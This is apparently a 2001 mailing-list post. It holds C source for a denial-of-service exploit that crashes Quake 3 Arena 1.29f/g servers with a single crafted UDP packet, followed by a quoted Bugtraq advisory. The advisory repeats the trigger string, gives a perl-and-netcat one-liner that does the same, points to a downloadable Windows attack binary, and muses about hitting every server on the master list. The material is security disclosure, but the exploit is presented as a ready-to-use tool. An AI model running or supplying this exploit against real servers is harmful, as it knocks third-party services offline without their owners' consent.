Quake 3 Arena 1.29f/g Vulnerability Linux Version, C Source.

["defrag" <defrag () nyct net>]

/* This is a 1.29f and 1.29g Server Exploit for id software's Quake3: Arena.
Basically this connects to the default port 27960 of a server and sends a
udp
packet with a string of Char(255) four times plus connectre, all as one
word.
This is a working linux version, simple enough to use: ./fuq3 <hostname>
I am no way going to continue to work on this it works its done. Its proven.
So here is the bare minimum. Thanks to ttol and his information this was
achieved.
There is also a working hack that can be done with netcat, basically you use
netcat
with the -u (UDP option) connect to the host, and then you send the string.
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>

#define PORTNUMBER 27960 /* change this value to the port desired */

main (argc, argv)
int argc;
char *argv[];
{
    int socketDesc;
    struct sockaddr_in destinationAddr;
    struct hostent *hostAddrPtr;
    char *msgBufPtr = "ÿÿÿÿconnectre";

    if ((socketDesc = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
        perror("open error on socket");
        exit(1);
    }

    if ((hostAddrPtr = gethostbyname(argv[1])) == 0) {
        printf("Could not get address of %s\n",argv[1]);
        exit(1);
    }

    destinationAddr.sin_family = AF_INET;
    memcpy((char *) &destinationAddr.sin_addr.s_addr,
           (char *) hostAddrPtr->h_addr, hostAddrPtr-> h_length);
    destinationAddr.sin_port = htons(PORTNUMBER);

    /* send message to socket */
    if (sendto(socketDesc, msgBufPtr, strlen(msgBufPtr)+1, 0,
           (struct sockaddr *)&destinationAddr, sizeof(destinationAddr)) <
0) {
        perror("socket send error");
        exit(1);
    }

    printf("Seg Fault on %s...\n",argv[1]);
}


----- Original Message -----
From: "The Tree of Life" <drttol () hotmail com>
To: <bugtraq () securityfocus com>
Sent: Monday, July 30, 2001 6:49 PM
Subject: ADV: Quake 3 Arena 1.29f/g Vulnerability


> --------------------------------------
> :: Q30wnerz Advisory v1.0 - PUBLIC
> ::         written by ttol
> --------------------------------------
> :: Quake 3 Arena 1.29f/g Vulnerability
> --------------------------------------
>
> -----------
> :: Summary
> -----------
>
> There exists a very large hole in Quake 3
> Arena, version 1.29f and 1.29g (the latest,
> 1.29g which got released just under a week
> ago).
>
> The hole is not fixable in any way by
> the user, and most of the servers that
> are up (thousands of them) are vulnerable.
> To have this hole fixed, a PR (point
> release) will have to be given to the
> public by iD Software.
>
> Point Releases will show up at:
> http://www.quake3world.com
>
> --------------------
> :: Affected Products
> --------------------
>
> The following versions of Quake 3 Arena are
> vulnerable to this specific attack:
>
> o Quake 3 Arena 1.29f
> o Quake 3 Arena 1.29g
>
> ----------
> :: Details
> ----------
>
> As a result of a previous Q30wnerz-discovered
> vulnerability, iD Software had to redesign the
> protocol, closing up the previous vulnerability.
>
> However, we have discovered a new one which
> segment faults the servers cleanly (it gives back
> the memory it had taken before, which is a lot
> since Quake 3 is a memory hog).  If the server
> is logging, it will segment fault before it has
> a chance to append it to the log file.
>
> The exploitation occurs when initiated a connect
> sequence at the server's port, and sending the
> following:
>
> ÿÿÿÿconnectre
>
> Those four Y's with the dots on them are char(255)'s.
>
> The server at this point will die, and will remain
> down until the process has been restarted.
>
> The Linux version for this (one server at a time):
>
> perl -wle 'printf("%c%c%c%c%s",255,255,255,255,"connectre")' | nc -u
1.1.1.1
> 27960
>
> Replace 1.1.1.1 with the server's ip.
>
> The Windows binary version can be downloaded at:
> http://www.gamenet.nu/cheats
>
> ---------
> :: Impact
> ---------
>
> At this point, our proof of concept binary only
> supports one server at a time.  That means it will
> only allow the user to demonstrate on one server.
>
> One can only imagine how this will carry out if
> someone else took it in their hands to cull the
> master list and sequentially try it (it only takes
> a few nanoseconds to send the offending string).
>
> --------------
> :: Workarounds
> --------------
>
> iD Software at this point has not released a working
> Point Release that prevents this.
>
> A quick way to ensure that your server will be up
> is to revert back to 1.17.
>
> -------------------
> :: Acknowledgements
> -------------------
>
> o iD Software (www.idsoftware.com) for making such a
>   beautiful game.
> o ttol (that's me!) for...being the ladie's man and
>   also coding and perfecting this
> o Coolest for discovering this initially
>
>
> _________________________________________________________________
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